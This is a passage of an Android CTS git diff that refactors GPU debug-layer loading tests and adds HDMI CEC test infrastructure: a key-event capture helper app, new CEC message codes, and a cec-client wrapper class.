         // Enable layerC (which is packaged with the RELEASE app) with system properties
-        mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_C_NAME);
+        getDevice().executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_C_NAME);
 
         // Kick off our RELEASE app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
 
-        // Check that both layers were loaded, in the correct order
+        // Check that only layerC was loaded
         String searchStringA = LAYER_A_NAME + "loaded";
         LogScanResult resultA = scanLog(TAG + "," + LAYER_A, searchStringA, appStartTime);
         Assert.assertFalse("LayerA was enumerated", resultA.found);
@@ -512,19 +507,19 @@
         setupLayer(LAYER_B_LIB, LAYERS_APP);
 
         // Copy them over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_A_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_A_LIB, ";", "chmod", "700", LAYER_A_LIB + "\'");
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
-                "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + LAYER_B_LIB, "|",
+                "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
                 "sh", "-c", "\'cat", ">", LAYER_B_LIB, ";", "chmod", "700", LAYER_B_LIB + "\'");
 
         // Enable layerB with system properties
-        mDevice.executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_B_NAME);
+        getDevice().executeAdbCommand("shell", "setprop", "debug.vulkan.layers " + LAYER_B_NAME);
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure only layerA is loaded
         String searchStringA = "nullCreateInstance called in " + LAYER_A;
@@ -552,7 +547,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Check that our external layer was loaded
         String searchStringC = "nullCreateInstance called in " + LAYER_C;
@@ -578,16 +573,16 @@
         setupLayer(GLES_LAYER_B_LIB, GLES_LAYERS_APP);
 
         // Copy them over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
-            "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
+            "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
             "sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
-            "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
+            "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
             "sh", "-c", "\'cat", ">", GLES_LAYER_B_LIB, ";", "chmod", "700", GLES_LAYER_B_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Check that both layers were loaded, in the correct order
         String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -618,12 +613,12 @@
         setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
 
         // Attempt to copy them over to our RELEASE app (this should fail)
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", RELEASE_APP,
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", RELEASE_APP,
                                    "sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'", "||", "echo", "run-as", "failed");
 
         // Kick off our RELEASE app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = GLES_LAYER_A + " loaded";
@@ -647,12 +642,12 @@
         setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
                                   "sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = GLES_LAYER_A + " loaded";
@@ -676,12 +671,12 @@
         setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
                                   "sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure we don't load the layer in base dir
         String searchStringA = GLES_LAYER_A + " loaded";
@@ -705,12 +700,12 @@
         setupLayer(GLES_LAYER_A_LIB, GLES_LAYERS_APP);
 
         // Copy it over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|", "run-as", DEBUG_APP,
                                   "sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure layerA is not loaded
         String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -730,11 +725,11 @@
         deleteSetting("gpu_debug_layers_gles");
 
         // Enable layerC (which is packaged with the RELEASE app) with system properties
-        mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_C_LIB);
+        getDevice().executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_C_LIB);
 
         // Kick off our RELEASE app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", RELEASE_APP + "/" + ACTIVITY);
 
         // Check that both layers were loaded, in the correct order
         String searchStringA = GLES_LAYER_A + "loaded";
@@ -762,19 +757,19 @@
         setupLayer(GLES_LAYER_B_LIB, GLES_LAYERS_APP);
 
         // Copy them over to our DEBUG app
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
-            "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_A_LIB, "|",
+            "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
             "sh", "-c", "\'cat", ">", GLES_LAYER_A_LIB, ";", "chmod", "700", GLES_LAYER_A_LIB + "\'");
-        mDevice.executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
-            "run-as", DEBUG_APP, "--user", Integer.toString(mDevice.getCurrentUser()),
+        getDevice().executeAdbCommand("shell", "cat", "/data/local/tmp/" + GLES_LAYER_B_LIB, "|",
+            "run-as", DEBUG_APP, "--user", Integer.toString(getDevice().getCurrentUser()),
             "sh", "-c", "\'cat", ">", GLES_LAYER_B_LIB, ";", "chmod", "700", GLES_LAYER_B_LIB + "\'");
 
         // Enable layerB with system properties
-        mDevice.executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_B_LIB);
+        getDevice().executeAdbCommand("shell", "setprop", "debug.gles.layers " + GLES_LAYER_B_LIB);
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Ensure only layerA is loaded
         String searchStringA = "glesLayer_eglChooseConfig called in " + GLES_LAYER_A;
@@ -802,7 +797,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Check that our external layer was loaded
         String searchStringC = "glesLayer_eglChooseConfig called in " + GLES_LAYER_C;
@@ -827,7 +822,7 @@
 
         // Kick off our DEBUG app
         String appStartTime = getTime();
-        mDevice.executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
+        getDevice().executeAdbCommand("shell", "am", "start", "-n", DEBUG_APP + "/" + ACTIVITY);
 
         // Check that external layers were loaded from both apps
         String vulkanString = "nullCreateInstance called in " + LAYER_C;
diff --git a/hostsidetests/harmfulappwarning/AndroidTest.xml b/hostsidetests/harmfulappwarning/AndroidTest.xml
index b0e9567..56dbcf9 100644
--- a/hostsidetests/harmfulappwarning/AndroidTest.xml
+++ b/hostsidetests/harmfulappwarning/AndroidTest.xml
@@ -18,6 +18,7 @@
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsHarmfulAppWarningTestApp.apk" />
diff --git a/hostsidetests/hdmicec/Android.bp b/hostsidetests/hdmicec/Android.bp
index ca649d2..0fa3a6a 100644
--- a/hostsidetests/hdmicec/Android.bp
+++ b/hostsidetests/hdmicec/Android.bp
@@ -27,4 +27,7 @@
         "tradefed",
         "compatibility-host-util",
     ],
+    data: [
+        ":HdmiCecKeyEventCaptureApp",
+    ],
 }
diff --git a/hostsidetests/hdmicec/AndroidTest.xml b/hostsidetests/hdmicec/AndroidTest.xml
index 0dfb7ec..2b1390a 100644
--- a/hostsidetests/hdmicec/AndroidTest.xml
+++ b/hostsidetests/hdmicec/AndroidTest.xml
@@ -19,6 +19,10 @@
     <!-- Instant apps for TV is not supported. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
+    <target_preparer class="com.android.tradefed.targetprep.suite.SuiteApkInstaller">
+        <option name="cleanup-apks" value="true" />
+        <option name="test-file-name" value="HdmiCecKeyEventCaptureApp.apk" />
+    </target_preparer>
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsHdmiCecHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/hdmicec/app/Android.bp b/hostsidetests/hdmicec/app/Android.bp
new file mode 100644
index 0000000..910aa30
--- /dev/null
+++ b/hostsidetests/hdmicec/app/Android.bp
@@ -0,0 +1,20 @@
+// Copyright (C) 2019 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+
+android_test_helper_app {
+    name: "HdmiCecKeyEventCaptureApp",
+    defaults: ["cts_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+}
diff --git a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml b/hostsidetests/hdmicec/app/AndroidManifest.xml
old mode 100755
new mode 100644
similarity index 61%
rename from hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
rename to hostsidetests/hdmicec/app/AndroidManifest.xml
index a48cb1d..ce9fff7
--- a/hostsidetests/devicepolicy/app/NoLaunchableActivityApp/no_component_AndroidManifest.xml
+++ b/hostsidetests/hdmicec/app/AndroidManifest.xml
@@ -16,10 +16,16 @@
  -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.nocomponentapp">
-
-    <uses-permission android:name="android.permission.INTERNET" />
-    <application />
+    package="android.hdmicec.app">
+    <uses-feature android:name="android.software.leanback"
+        android:required="false" />
+    <application >
+        <activity android:name=".HdmiCecKeyEventCapture" >
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.intent.category.LEANBACK_LAUNCHER" />
+            </intent-filter>
+        </activity>
+    </application>
 
 </manifest>
-
diff --git a/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecKeyEventCapture.java b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecKeyEventCapture.java
new file mode 100644
index 0000000..63736bf
--- /dev/null
+++ b/hostsidetests/hdmicec/app/src/android/hdmicec/app/HdmiCecKeyEventCapture.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.app;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.util.Log;
+import android.view.KeyEvent;
+import android.view.Gravity;
+import android.widget.LinearLayout;
+import android.widget.ScrollView;
+import android.widget.TableRow;
+import android.widget.TextView;
+
+import java.lang.Override;
+
+/**
+ * A simple app that captures the key press events and logs them.
+ */
+public class HdmiCecKeyEventCapture extends Activity {
+
+    private static final String TAG = HdmiCecKeyEventCapture.class.getSimpleName();
+    private TextView text;
+    private boolean longPressed = false;
+
+    static final String LONG_PRESS_PREFIX = "Long press ";
+    static final String SHORT_PRESS_PREFIX = "Short press ";
+
+    @Override
+    public void onCreate(Bundle icicle) {
+        super.onCreate(icicle);
+        ScrollView sv = new ScrollView(this);
+        LinearLayout layout = new LinearLayout(this);
+        TableRow.LayoutParams layoutParams =
+                new TableRow.LayoutParams(TableRow.LayoutParams.WRAP_CONTENT,
+                        TableRow.LayoutParams.WRAP_CONTENT, 1.0f);
+        text = new TextView(this);
+        text.setGravity(Gravity.CENTER);
+        text.setText("No key pressed!");
+        text.setLayoutParams(layoutParams);
+        layout.addView(text);
+        this.setContentView(layout);
+    }
+
+    @Override
+    public boolean onKeyDown(int keyCode, KeyEvent event) {
+        event.startTracking();
+        return true;
+    }
+
+    @Override
+    public boolean onKeyUp(int keyCode, KeyEvent event) {
+
+        text.setText((longPressed ? "Long press " : "Short press ") +
+                event.keyCodeToString(keyCode));
+
+        Log.d(TAG, event.toString());
+        Log.i(TAG, (longPressed ? "Long press " : "Short press ") + event.keyCodeToString(keyCode));
+
+        longPressed = false;
+        return true;
+    }
+
+    @Override
+    public boolean onKeyLongPress(int keyCode, KeyEvent event) {
+        longPressed = true;
+        return true;
+    }
+
+}
\ No newline at end of file
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecDevice.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecDevice.java
index 51884df..723b447 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecDevice.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecDevice.java
@@ -21,7 +21,9 @@
 
 public enum CecDevice {
     TV(0x0),
+    RECORDING_1(0x1),
     PLAYBACK_1(0x4),
+    AUDIO_SYSTEM(0x5),
     PLAYBACK_2(0x8),
     PLAYBACK_3(0x9),
     PLAYBACK_4(0xb),
@@ -41,6 +43,24 @@
         }
     }
 
+    public static String getDeviceType(CecDevice device) {
+        switch (device) {
+            case PLAYBACK_1:
+            case PLAYBACK_2:
+            case PLAYBACK_3:
+            case PLAYBACK_4:
+                return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_PLAYBACK_DEVICE);
+            case TV:
+                return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_TV);
+            case AUDIO_SYSTEM:
+                return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_AUDIO_SYSTEM);
+            case RECORDING_1:
+                return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_RECORDING_DEVICE);
+            default:
+                return Integer.toString(HdmiCecConstants.CEC_DEVICE_TYPE_RESERVED);
+        }
+    }
+
     public static CecDevice getDevice(int playerId) {
         return (CecDevice) deviceMap.get(playerId);
     }
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
index 99bb1e6..793d93d 100644
--- a/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/CecMessage.java
@@ -22,11 +22,20 @@
 public enum CecMessage {
     FEATURE_ABORT(0x00),
     TEXT_VIEW_ON(0x0d),
+    SET_MENU_LANGUAGE(0x32),
     STANDBY(0x36),
+    USER_CONTROL_PRESSED(0x44),
+    USER_CONTROL_RELEASED(0x45),
+    GIVE_OSD_NAME(0x46),
+    SET_OSD_NAME(0x47),
+    GIVE_SYSTEM_AUDIO_MODE_STATUS(0x7d),
     ACTIVE_SOURCE(0x82),
     GIVE_PHYSICAL_ADDRESS(0x83),
     REPORT_PHYSICAL_ADDRESS(0x84),
     REQUEST_ACTIVE_SOURCE(0x85),
+    SET_STREAM_PATH(0x86),
+    DEVICE_VENDOR_ID(0x87),
+    GIVE_DEVICE_VENDOR_ID(0x8c),
     GIVE_POWER_STATUS(0x8f),
     REPORT_POWER_STATUS(0x90),
     GET_MENU_LANGUAGE(0x91),
@@ -50,13 +59,7 @@
 
     @Override
     public String toString() {
-        String message = Integer.toHexString(this.messageId);
-        /* Every message should be of length 2, else prefix with 0 */
-        int numZeros = 2 - message.length();
-        for (int i = 0; i < numZeros; i++) {
-            message = "0" + message;
-        }
-        return message;
+        return String.format("%02x", messageId);
     }
 
     private CecMessage(int messageId) {
diff --git a/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
new file mode 100644
index 0000000..0ddde5b
--- /dev/null
+++ b/hostsidetests/hdmicec/src/android/hdmicec/cts/HdmiCecClientWrapper.java
@@ -0,0 +1,488 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.hdmicec.cts;
+
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assume.assumeTrue;
+
+import com.android.tradefed.device.ITestDevice;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.RunUtil;
+
+import java.io.BufferedReader;
+import java.io.BufferedWriter;
+import java.io.InputStreamReader;
+import java.io.OutputStreamWriter;
+import java.util.concurrent.TimeUnit;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import java.util.regex.Matcher;
+import java.util.regex.Pattern;
+
+import org.junit.Rule;
+import org.junit.rules.ExternalResource;
+
+/** Class that helps communicate with the cec-client */
+public final class HdmiCecClientWrapper extends ExternalResource {
+
+    private static final String CEC_CONSOLE_READY = "waiting for input";
+    private static final int MILLISECONDS_TO_READY = 10000;
+    private static final int DEFAULT_TIMEOUT = 20000;
+    private static final String HDMI_CEC_FEATURE = "feature:android.hardware.hdmi.cec";
+    private static final int HEXADECIMAL_RADIX = 16;
+    private static final int BUFFER_SIZE = 1024;
+
+    private Process mCecClient;
+    private BufferedWriter mOutputConsole;
+    private BufferedReader mInputConsole;
+    private boolean mCecClientInitialised = false;
+
+    private CecDevice targetDevice;
+    private BaseHostJUnit4Test testObject;
+    private String clientParams[];
+
+    public HdmiCecClientWrapper(CecDevice targetDevice, BaseHostJUnit4Test testObject,
+            String ...clientParams) {
+        this.targetDevice = targetDevice;
+        this.testObject = testObject;
+        this.clientParams = clientParams;
+    }
+
+    @Override
+    protected void before() throws Throwable {
+        ITestDevice testDevice;
+        testDevice = testObject.getDevice();
+        assertNotNull("Device not set", testDevice);
+
+        assumeTrue(isHdmiCecFeatureSupported(testDevice));
+
+        String deviceTypeCsv = testDevice.executeShellCommand("getprop ro.hdmi.device_type").trim();
+        List<String> deviceType = Arrays.asList(deviceTypeCsv.replaceAll("\\s+", "").split(","));
+        assumeTrue(deviceType.contains(CecDevice.getDeviceType(targetDevice)));
+
+        this.init();
+    };
+
+    @Override
+    protected void after() {
+        this.killCecProcess();
+    };
+
+    /**
+     * Checks if the HDMI CEC feature is running on the device. Call this function before running
+     * any HDMI CEC tests.
+     * This could throw a DeviceNotAvailableException.
+     */
+    private static boolean isHdmiCecFeatureSupported(ITestDevice device) throws Exception {
+        return device.hasFeature(HDMI_CEC_FEATURE);
+    }
+
+    /** Initialise the client */
+    private void init() throws Exception {
+        boolean gotExpectedOut = false;
+        List<String> commands = new ArrayList();
+        int seconds = 0;
+
+        commands.add("cec-client");
+        commands.add("-p");
+        commands.add("2");
+        commands.addAll(Arrays.asList(clientParams));
+
+        mCecClient = RunUtil.getDefault().runCmdInBackground(commands);
+        mInputConsole = new BufferedReader(new InputStreamReader(mCecClient.getInputStream()));
+
+        /* Wait for the client to become ready */
+        mCecClientInitialised = true;
+        if (checkConsoleOutput(CecClientMessage.CLIENT_CONSOLE_READY + "", MILLISECONDS_TO_READY)) {
+            mOutputConsole = new BufferedWriter(
+                                new OutputStreamWriter(mCecClient.getOutputStream()), BUFFER_SIZE);
+            return;
+        }
+
+        mCecClientInitialised = false;
+
+        throw (new Exception("Could not initialise cec-client process"));
+    }
+
+    private void checkCecClient() throws Exception {
+        if (!mCecClientInitialised) {
+            throw new Exception("cec-client not initialised!");
+        }
+        if (!mCecClient.isAlive()) {
+            throw new Exception("cec-client not running!");
+        }
+    }
+
+    /**
+     * Sends a CEC message with source marked as broadcast to the device passed in the constructor
+     * through the output console of the cec-communication channel.
+     */
+    public void sendCecMessage(CecMessage message) throws Exception {
+        sendCecMessage(CecDevice.BROADCAST, targetDevice, message, "");
+    }
+
+    /**
+     * Sends a CEC message from source device to the device passed in the constructor through the
+     * output console of the cec-communication channel.
+     */
+    public void sendCecMessage(CecDevice source, CecMessage message) throws Exception {
+        sendCecMessage(source, targetDevice, message, "");
+    }
+
+    /**
+     * Sends a CEC message from source device to a destination device through the output console of
+     * the cec-communication channel.
+     */
+    public void sendCecMessage(CecDevice source, CecDevice destination,
+        CecMessage message) throws Exception {
+        sendCecMessage(source, destination, message, "");
+    }
+
+    /**
+     * Sends a CEC message from source device to a destination device through the output console of
+     * the cec-communication channel with the appended params.
+     */
+    public void sendCecMessage(CecDevice source, CecDevice destination,
+            CecMessage message, String params) throws Exception {
+        checkCecClient();
+        mOutputConsole.write("tx " + source + destination + ":" + message + params);
+        mOutputConsole.flush();
+    }
+
+    /**
+     * Sends a <USER_CONTROL_PRESSED> and <USER_CONTROL_RELEASED> from TV to target device
+     * through the output console of the cec-communication channel with the mentioned keycode.
+     */
+    public void sendUserControlPressAndRelease(int keycode, boolean holdKey) throws Exception {
+        checkCecClient();
+        String key = String.format("%02x", keycode);
+        String command = "tx " + CecDevice.TV + CecDevice.PLAYBACK_1 + ":" +
+                CecMessage.USER_CONTROL_PRESSED + ":" + key;
+
+        if (holdKey) {
+            /* Repeat once between 200ms and 450ms for at least 5 seconds. Since message will be
+             * sent once later, send 16 times in loop every 300ms. */
+            int repeat = 16;
+            for (int i = 0; i < repeat; i++) {
+                mOutputConsole.write(command);
+                mOutputConsole.flush();
+                TimeUnit.MILLISECONDS.sleep(300);
+            }
+        }
+
+        mOutputConsole.write(command);
+        mOutputConsole.newLine();
+        /* Sleep less than 200ms between press and release */
+        TimeUnit.MILLISECONDS.sleep(100);
+        mOutputConsole.write("tx " + CecDevice.TV + CecDevice.PLAYBACK_1 + ":" +
+                              CecMessage.USER_CONTROL_RELEASED);
+        mOutputConsole.flush();
+    }
+
+    /** Sends a message to the output console of the cec-client */
+    public void sendConsoleMessage(String message) throws Exception {
+        checkCecClient();
+        CLog.v("Sending message:: " + message);
+        mOutputConsole.write(message);
+        mOutputConsole.flush();
+    }
+
+    /** Check for any string on the input console of the cec-client, uses default timeout */
+    public boolean checkConsoleOutput(String expectedMessage) throws Exception {
+        return checkConsoleOutput(expectedMessage, DEFAULT_TIMEOUT);
+    }
+
+    /** Check for any string on the input console of the cec-client */
+    public boolean checkConsoleOutput(String expectedMessage,
+                                       long timeoutMillis) throws Exception {
+        checkCecClient();
+        long startTime = System.currentTimeMillis();
+        long endTime = startTime;
+
+        while ((endTime - startTime <= timeoutMillis)) {
+            if (mInputConsole.ready()) {
+                String line = mInputConsole.readLine();
+                if (line.contains(expectedMessage)) {
+                    CLog.v("Found " + expectedMessage + " in " + line);
+                    return true;
+                }
+            }
+            endTime = System.currentTimeMillis();
+        }
+        return false;
+    }
+
+    /**
+     * Looks for the CEC expectedMessage broadcast on the cec-client communication channel and
+     * returns the first line that contains that message within default timeout. If the CEC message
+     * is not found within the timeout, an exception is thrown.
+     */
+    public String checkExpectedOutput(CecMessage expectedMessage) throws Exception {
+        return checkExpectedOutput(CecDevice.BROADCAST, expectedMessage, DEFAULT_TIMEOUT);
+    }
+
+    /**
+     * Looks for the CEC expectedMessage sent to CEC device toDevice on the cec-client
+     * communication channel and returns the first line that contains that message within
+     * default timeout. If the CEC message is not found within the timeout, an exception is thrown.
+     */
+    public String checkExpectedOutput(CecDevice toDevice,
+                                      CecMessage expectedMessage) throws Exception {
+        return checkExpectedOutput(toDevice, expectedMessage, DEFAULT_TIMEOUT);
+    }
+
+    /**
+     * Looks for the CEC expectedMessage broadcast on the cec-client communication channel and
+     * returns the first line that contains that message within timeoutMillis. If the CEC message
+     * is not found within the timeout, an exception is thrown.
+     */
+    public String checkExpectedOutput(CecMessage expectedMessage,
+                                      long timeoutMillis) throws Exception {
+        return checkExpectedOutput(CecDevice.BROADCAST, expectedMessage, timeoutMillis);
+    }
+
+    /**
+     * Looks for the CEC expectedMessage sent to CEC device toDevice on the cec-client
+     * communication channel and returns the first line that contains that message within
+     * timeoutMillis. If the CEC message is not found within the timeout, an exception is thrown.
+     */
+    public String checkExpectedOutput(CecDevice toDevice, CecMessage expectedMessage,
+                                       long timeoutMillis) throws Exception {
+        checkCecClient();
+        long startTime = System.currentTimeMillis();
+        long endTime = startTime;
+        Pattern pattern = Pattern.compile("(.*>>)(.*?)" +
+                                          "(" + targetDevice + toDevice + "):" +
+                                          "(" + expectedMessage + ")(.*)",
+                                          Pattern.CASE_INSENSITIVE);
+
